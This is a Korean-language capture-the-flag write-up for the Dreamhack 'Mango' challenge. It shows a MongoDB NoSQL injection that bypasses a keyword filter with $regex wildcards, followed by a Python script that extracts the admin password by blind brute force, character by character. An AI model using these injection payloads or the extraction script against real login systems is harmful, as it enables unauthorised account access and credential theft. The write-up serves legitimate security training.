[Dreamhack] Mango
MangoDB를 사용한 NoSQL 문제이다.
문제에 접속하면 아래와 같이 /login 밑에 uid, upw가 있다는 힌트를 준다.
우선 코드를 먼저 봤다.
admin의 패스워드에 플래그가 있다고 한다.
아래에서는 ['admin', 'dh', 'admi'] 가 필터링되고 있는 것을 알 수 있다.
실제로 URL에 admin을 추가한 공격 쿼리를 입력하면 filter 라는 문자열이 뜬다.
uid가 admin인 패스워드를 구해야하는데, admin이 필터링 되고 있다.
이 때 쓸 수 있는게 $regex과 . 이다.
$regex은 지정된 정규식과 일치하는 문서를 선택하고,
.은 임의의 문자를 의미한다.
즉, uid를 $regex를 써서 ad.in 과 같이 표현할 수 있다.
upw의 플래그 형식은 DH인데, 이 문자열도 함께 필터링 되고 있기 때문에 D. 와 같이 표현해준다.
정규표현식을 이용한 공격 쿼리는 다음과 같다.
/login?uid[$regex]=ad.in&upw[$regex]=D.{*
드림핵 로드맵을 따라 파이썬으로 코드를 짜볼 수 있다.
import requests, string
host = "http://127.0.0.1:80"
str_set = string.digits + string.ascii_letters
success = 'admin'
flag=''
for i in range(32):
for ch in str_set:
response = requests.get(f'{host}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == success:
flag += ch
break
print(f"Flag: DH{{{flag}}}")
다음은 코드 설명이다.
host = "http://127.0.0.1:80"
host에는 공격 대상 URL을 넣어준다.
str_set = string.digits + string.ascii_letters
반복문을 통해 대입해볼 문자열들을 선언한다. string 모듈을 통해 간편하게 호출할 수 있다.
string.digits는 십진수 0~9를 포함하고,
string.ascii_letters는 영문 대/소문자를 모두 포함한다.
여기에 특수문자까지 포함하고 싶다면 string.punctuation을 사용할 수 있다.
for i in range(32):
for ch in str_set:
response = requests.get(f'{host}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
코드를 보면 플래그가 DH{32alphanumeric} 32글자라고 힌트를 주고 있다.
첫 번째 반복문에서 32번 반복하고,
두 번째 반복문에서 위에서 선언해둔 문자열 SET을 넣어준다.
{}는 f''를 이용하면 포맷스트링으로 인식하기 때문에 {{처럼 두 번 써줘야 오류가 없다.
코드를 다시 보면 참/거짓의 blind 공격을 해야한다는 것을 알 수 있다.
참이면 uid를 반환하고, 거짓이면 undefined를 반환한다.
이를 이용해 response 문자열이 admin이라면, (참이라면)
문자를 하나씩 붙여나간다.
success = 'admin'
if response.text == success:
flag += ch
break
그럼 다음과 같이 출력이 되는 것을 확인할 수 있다.